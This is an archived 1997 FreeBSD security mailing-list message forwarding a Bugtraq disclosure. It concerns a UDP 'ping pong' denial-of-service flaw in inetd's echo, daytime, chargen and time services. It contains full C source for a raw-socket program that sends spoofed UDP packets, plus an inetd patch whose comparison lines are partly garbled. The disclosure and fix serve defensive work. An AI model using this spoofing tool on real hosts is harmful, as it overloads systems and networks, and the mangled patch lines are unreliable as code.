From owner-freebsd-security Sat Jun 21 21:23:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA07104 for security-outgoing; Sat, 21 Jun 1997 21:23:10 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA07088 for ; Sat, 21 Jun 1997 21:22:56 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id OAA24228; Sun, 22 Jun 1997 14:22:50 +1000 (EST) Date: Sun, 22 Jun 1997 14:22:49 +1000 (EST) From: "Daniel O'Callaghan" To: freebsd-security@freebsd.org Subject: Simple TCP service can hang a system (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk ---------- Forwarded message ---------- Date: Sat, 21 Jun 1997 23:58:16 +0200 From: Willy TARREAU To: BUGTRAQ@NETSPACE.ORG Subject: Simple TCP service can hang a system Hi ! I've noticed that inetd doesn't check the source port for the request to UDP simple services (echo, time, chargen, daytime). This means it is possible to build a packet which will look like it comes from one of these ports, to one of these ports. In this case, each UDP response from the simple service will generate a new request to the source port and the system or network can be quickly overloaded. to test this, I've written a program, let's say an exploit... It completely builds an UDP packet from RAW IP. You just have to specify which IP and PORT you want for source and destination, and then look at the result. On my Linux 2.0.29, inetd goes to 99% CPU when source/dest are the same machine with any of these 4 ports. I tested Netware Client 32 for DOS/Windows, and it simply hangs. Not tested yet on Win95/NT/Netware... Concerning Linux, I've patched inetd to prevent it from replying to requests coming from a port below one specified in the source (I chose 128). Here comes the exploit, and next, the patch for inetd (inetd from NetKit-0.09). Willy Tarreau -- +---------------+------------------------+--------------------------------+ | Willy Tarreau | tarreau@aemiaif.ibp.fr | http://www-miaif.ibp.fr/willy/ | | Magistere d'Informatique Appliquee de l'Ile de France (MIAIF), promo 97 | | DEA A.S.I.M.E. | Universite Pierre et Marie Curie (Paris 6), FRANCE | +-----------------+-------------------------------------------------------+ -------------------- UDP simple services exploit -------------------------- /* PingPong. 970621 by Willy TARREAU This program sends a spoofed UDP packet to the host you want to test. You just have to choose source address/port and destination address/port. There are two main uses of this program: - generate a packet which will make inetd reply to itself continuously on a given host. This will slow down a system because inetd will use most of the CPU to reply to its own requests. - generate a packet which will initiate a "ping pong" between two machines. In this case, this will consume network bandwidth for nothing. On Linux, inetd is fooled on these internal ports: 7: echo 13: daytime 19: chargen 37: time Netware Client 32 hangs the workstations with 7 or 19. Others not tested yet. Not tested yet on Netware nor WinNt nor Win95. As this program uses RAW sockets, you need to run it as root. */ #include #include #include #include #include #include #include #include #include struct sockaddr addrfrom; struct sockaddr addrto; int s; u_char outpack[65536]; struct iphdr *ip; struct udphdr *udp; main(int argc, char **argv) { struct sockaddr_in *from; struct sockaddr_in *to; struct protoent *proto; int i; char *src,*dest; int srcp, destp; int packetsize,datasize; fprintf(stderr,"PingPong 1.0 - 970621 by Willy Tarreau \n"); fprintf(stderr,"<<< PLEASE USE THIS FOR TESTS ONLY AND WITH ADMINISTRATORS' AUTHORIZATION >>>\n\n"); if (argc!=5) { fprintf(stderr,"wrong arg count.\nUsage: pingpong src_addr src_port dst_addr dst_port\n"); fprintf(stderr,"src_addr and dst_addr must be given as IP addresses (xxx.xxx.xxx.xxx)\n"); fprintf(stderr,"Note that it often works with 127.0.0.1 as src_addr !\n"); exit(2); } src=argv[1]; srcp=atoi(argv[2]); dest=argv[3]; destp=atoi(argv[4]); if (!(proto = getprotobyname("raw"))) { perror("getprotobyname(raw)"); exit(2); } /* "raw" should be 255 */ if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0) { perror("socket"); exit(2); } memset(&addrfrom, 0, sizeof(struct sockaddr)); from = (struct sockaddr_in *)&addrfrom; from->sin_family = AF_INET; from->sin_port=htons(srcp); if (!inet_aton(src, &from->sin_addr)) { fprintf(stderr,"Incorrect address for 'from': %s\n",src); exit(2); } memset(&addrto, 0, sizeof(struct sockaddr)); to = (struct sockaddr_in *)&addrto; to->sin_family = AF_INET; to->sin_port=htons(destp); if (!inet_aton(dest, &to->sin_addr)) { fprintf(stderr,"Incorrect address for 'to': %s\n",dest); exit(2); } packetsize=0; /* lets's build a complete UDP packet from scratch */ ip=(struct iphdr *)outpack; ip->version=4; /* IPv4 */ ip->ihl=5; /* 5 words IP header */ ip->tos=0; ip->id=0; ip->frag_off=0; ip->ttl=0x40; if (!(proto = getprotobyname("udp"))) { perror("getprotobyname(udp)"); exit(2); } /* "udp" should be 17 */ ip->protocol=proto->p_proto; /* udp */ ip->check=0; /* null checksum, will be automatically computed by the kernel */ ip->saddr=from->sin_addr.s_addr; ip->daddr=to->sin_addr.s_addr; /* end of ip header */ packetsize+=ip->ihl<<2; /* udp header */ udp=(struct udphdr *)((int)outpack + (int)(ip->ihl<<2)); udp->source=htons(srcp); udp->dest=htons(destp); udp->check=0; /* ignore checksum */ packetsize+=sizeof(struct udphdr); /* end of udp header */ /* add udp data here if you like */ for (datasize=0;datasize<8;datasize++) { outpack[packetsize+datasize]='A'+datasize; } packetsize+=datasize; udp->len=htons(sizeof(struct udphdr)+datasize); ip->tot_len=htons(packetsize); if (sendto(s, (char *)outpack, packetsize, 0, &addrto, sizeof(struct sockaddr))==-1) { perror("sendto"); exit(2); } printf("packet sent !\n"); close(s); printf("end\n"); exit(0); } -------------------- patch for inetd -------------------- --- inetd.c Sat Nov 23 19:44:12 1996 +++ inetd-fix.c Sat Jun 21 23:38:09 1997 @@ -170,6 +170,7 @@ #define TOOMANY 40 /* don't start more than TOOMANY */ #define CNT_INTVL 60 /* servers in CNT_INTVL sec. */ #define RETRYTIME (60*10) /* retry after bind or server fail */ +#define MINSRCPORT 128 /* below this port, UDP requests are ignored */ #define SIGBLOCK (sigmask(SIGCHLD)|sigmask(SIGHUP)|sigmask(SIGALRM)) @@ -1271,6 +1272,8 @@ size = sizeof(sa); if ((i = recvfrom(s, buffer, sizeof(buffer), 0, &sa, &size)) < 0) return; + if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)sin_port)= LINESIZ) bcopy(rs, text, LINESIZ); else { @@ -1423,6 +1429,10 @@ size = sizeof(sa); if (recvfrom(s, (char *)&result, sizeof(result), 0, &sa, &size) < 0) return; + + if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)sin_port)